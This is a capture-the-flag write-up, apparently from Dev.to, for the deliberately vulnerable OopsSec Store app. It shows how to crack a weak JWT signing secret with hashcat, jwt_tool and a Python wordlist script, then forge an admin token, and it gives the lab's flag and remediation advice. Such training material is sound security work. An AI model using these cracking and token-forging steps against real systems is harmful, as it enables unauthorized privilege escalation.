Dev.to Security 🔐 Cybersecurity 👁 0 📖 4 min read

A valid JWT signature won’t save you if the secret is ‘secret’

Exploiting a JWT implementation that uses a weak signing secret to crack the key, forge admin credentials, and access restricted endpoints. The OopsSec Store signs its JWTs with a weak secret. We'll crack it, forge an

A valid JWT signature won’t save you if the secret is ‘secret’

Exploiting a JWT implementation that uses a weak signing secret to crack the key, forge admin credentials, and access restricted endpoints.

The OopsSec Store signs its JWTs with a weak secret. We'll crack it, forge an admin token, and walk right into the restricted dashboard.

Environment setup

Spin up the OopsSec Store in a new directory:

npx create-oss-store oss-store
cd oss-store
npm start

Or with Docker (no Node.js required):

docker run -p 127.0.0.1:3000:3000 leogra/oss-oopssec-store

Head to http://localhost:3000 and log in with the test credentials shown on the login page. Use Alice's account -- she's a regular customer.

Reconnaissance

The app uses JWTs for session management. After login, the server drops a token in an HTTP-only cookie that tags along with every request.

There's a link to /admin sitting right there in the footer. Click it as Alice and you get an access denied page.

Access Denied - /admin

Token extraction and analysis

Open DevTools, go to Application > Cookies. The token is in an HTTP-only cookie called authToken.

Paste it into jwt.io:

Header:

{
  "alg": "HS256",
  "typ": "JWT"
}

Payload:

{
  "id": "cmk7hzehr0001togvwvjt810d",
  "email": "[email protected]",
  "role": "CUSTOMER",
  "hint": "The secret is not so secret",
  "exp": 1768763557
}

HS256 -- HMAC-SHA256. You need the secret to forge a valid signature.

But then there's the hint field: "The secret is not so secret". Not subtle.

Identifying the vulnerability

A signature doesn't make a token secure if the secret behind it is garbage. Short or common secrets fall to dictionary attacks in seconds. Think secret, password, jwt, key, or just the app name.

Cracking the JWT secret

Save the token to a file:

echo "eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJpZCI6ImNta3I4eW4zNDAwMDF0b3A2NjJ6OXkzb20iLCJlbWFpbCI6ImFsaWNlQGV4YW1wbGUuY29tIiwicm9sZSI6IkNVU1RPTUVSIiwiaGludCI6IlRoZSBzZWNyZXQgaXMgbm90IHNvIHNlY3JldCIsImV4cCI6MTc2OTgwMDYzNH0.xYuUP20NgY6Pz9cktBEvS-_dczsDFKQQnhyHCvl7ckc" > jwt.txt

Crack it with hashcat:

hashcat -a 0 -m 16500 jwt.txt /usr/share/wordlists/rockyou.txt

Hashcat

Or jwt_tool:

python3 jwt_tool.py <JWT> -C -d /usr/share/wordlists/rockyou.txt

Or skip the big wordlist and just try the obvious ones:

import jwt
import sys

token = sys.argv[1]
wordlist = ["secret", "password", "jwt", "key", "oopssec", "admin", "test"]

for secret in wordlist:
    try:
        jwt.decode(token, secret, algorithms=["HS256"])
        print(f"[+] Secret found: {secret}")
        break
    except jwt.InvalidSignatureError:
        continue

The secret is secret. Yeah.

Exploitation

Forge a token with "role": "ADMIN":

import jwt

payload = {
    "id": "cmk7hzehr0001togvwvjt810d",
    "email": "[email protected]",
    "role": "ADMIN",
    "hint": "The secret is not so secret",
    "exp": 1768763557
}

forged_token = jwt.encode(payload, "secret", algorithm="HS256")
print(forged_token)

Back in DevTools > Application > Cookies, replace the authToken value with your forged token and refresh. The cookie is httpOnly so JavaScript can't touch it, but DevTools doesn't care -- you can edit it directly.

Hit /admin.

Admin page

Flag

OSS{w34k_jwt_s3cr3t_k3y}

Remediation

The fix starts with a real secret:

openssl rand -base64 32

Keep it in an environment variable, not in your code:

import jwt from "jsonwebtoken";

jwt.sign(payload, process.env.JWT_SECRET, {
  algorithm: "HS256",
  expiresIn: "7d",
});

Always verify signatures on incoming tokens:

jwt.verify(token, process.env.JWT_SECRET);

Don't trust the role claim in the token either. Look it up from the database:

const user = await db.users.findById(decoded.id);

if (user.role !== "ADMIN") {
  return res.status(403).send("Forbidden");
}

If different services need to issue and verify tokens, asymmetric algorithms (RS256, ES256) make more sense -- verifiers never see the private key.

The token tells you who someone is. What they're allowed to do is a separate question, and the answer should come from your database, not from something the client handed you.

Lab

GitHub logo kOaDT / oss-oopssec-store

Security training for the apps you actually ship. Open your browser and start hacking.

OSS - OopsSec Store

Security training for the apps you actually ship.

36 challenges across web, API, authentication, business logic, cryptography, supply chain, AI agents and MCP

Break a deliberately vulnerable e-commerce app built on Next.js, React, TypeScript and Prisma.
Find the bugs. Exploit them. Understand why they work

Docker Hub · npm · Roadmap · Walkthroughs · Contributing · Good first issues

OWASP VWAD TryHackMe room Intentionally Vulnerable
GitHub license PRs Welcome Good first issues
GitHub stars GitHub forks

   ____  ____ ____     ____                  ____            ____  _
  / __ \/ __// __/    / __ \ ___   ___  ___ / __/ ___  ____ / __/ / /_ ___   ____ ___
 / /_/ /\ \ _\ \     / /_/ // _ \ / _ \(_-<_\ \  / -_)/ __/_\ \  / __// _ \ / __// -_)
 \____/___//___/     \____/ \___// .__/___/___/  \__/ \__//___/  \__/ \___//_/   \__/
                                /_/
# Start with Node.js
npx
…

Disclaimers

Do not deploy OopsSec Store on a production server. This application is intentionally vulnerable and should only be used in isolated, local environments for educational purposes.

Do not exploit vulnerabilities on systems you don’t have explicit authorization to test. Unauthorized access to computer systems is illegal. Always obtain proper permission before performing security testing.

Feedback & Support

Having trouble following this writeup? Found a typo or have suggestions for improvement?

Feel free to open an issue or start a discussion on GitHub.

📰 Read the original article on Dev.to Security

Originally published by Dev.to Security. Aggregated on AIWithGhost for educational purposes — full credit and traffic to the original publisher.